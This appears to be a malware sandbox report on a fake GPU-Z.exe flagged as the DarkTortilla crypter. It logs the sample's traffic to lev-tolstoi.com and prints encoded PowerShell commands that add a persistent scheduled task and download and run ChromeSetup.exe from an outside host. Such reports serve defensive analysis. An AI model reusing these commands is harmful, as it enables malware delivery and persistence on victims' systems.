1	192.168.2.5	49866	104.102.49.254	443	4072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 13:15:36 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-29 13:15:37 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 29 Dec 2024 13:15:36 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=672ecc4f90122f0c1315c8d4; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-29 13:15:37 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-29 13:15:37 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-29 13:15:37 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-29 13:15:37 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49874	172.67.157.254	443	4072	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 13:15:38 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-29 13:15:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-29 13:15:39 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 13:15:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rc31s3u6a6kadjrommo2kbj605; expires=Thu, 24 Apr 2025 07:02:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oJQrun%2BS1jDqB%2BLuKdp3nyb0%2FGmwaHhua5FsWDHvXI9riL1tiPRTIEmdjQ1g5R%2BUDsCTzGj0vdZZ%2Fhfanv54S1WttlGfJaWb67lfxE8jNTXELlkm4j5E30wownW37l%2BMi90%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9a0f615b1a7295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1957&min_rtt=1947&rtt_var=750&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1440552&cwnd=206&unsent_bytes=0&cid=15641193f839aa10&ts=771&x=0"
2024-12-29 13:15:39 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-29 13:15:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:14:03
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\GPU-Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GPU-Z.exe"
Imagebase:	0x260000
File size:	5'304'288 bytes
MD5 hash:	8A610C8380B7BC7C95472EA19CE2D4F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2855684296.0000000005940000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.2836738327.0000000003321000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:14:04
Start date:	29/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:14:17
Start date:	29/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x7d0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000003.00000002.2931725879.0000000003AD9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000003.00000002.2911331834.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000003.00000002.2931725879.0000000003C48000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:14:51
Start date:	29/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x820000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:14:55
Start date:	29/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xe0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:14:58
Start date:	29/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x10000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:15:24
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:15:24
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:15:24
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=
Imagebase:	0x7ff6d64d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:15:27
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.EXE /c powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
Imagebase:	0x7ff6d2c90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:15:27
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:15:27
Start date:	29/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:15:29
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /c powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:15:29
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:15:29
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA
Imagebase:	0x120000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:15:49
Start date:	29/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ChromeSetup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ChromeSetup.exe"
Imagebase:	0xf20000
File size:	10'384'768 bytes
MD5 hash:	6DF42D2EACF5B2916299DDC1AF4A7DDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	08:15:50
Start date:	29/12/2024
Path:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={8E7848EA-F143-48B2-373C-33F54B7527D1}&lang=en-GB&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2
Imagebase:	0x720000
File size:	5'591'136 bytes
MD5 hash:	9DB9D09B6A58E5C09773F754504AC148
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	08:15:50
Start date:	29/12/2024
Path:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=132.0.6833.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0
Imagebase:	0x720000
File size:	5'591'136 bytes
MD5 hash:	9DB9D09B6A58E5C09773F754504AC148
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	08:15:55
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	08:15:55
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,8218608324562589918,13039616218442769122,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	08:16:01
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:16:01
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2024,i,80333394096213294,6915374060940689089,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:16:07
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:16:07
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2000,i,5810222806604600449,1391955646674968393,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
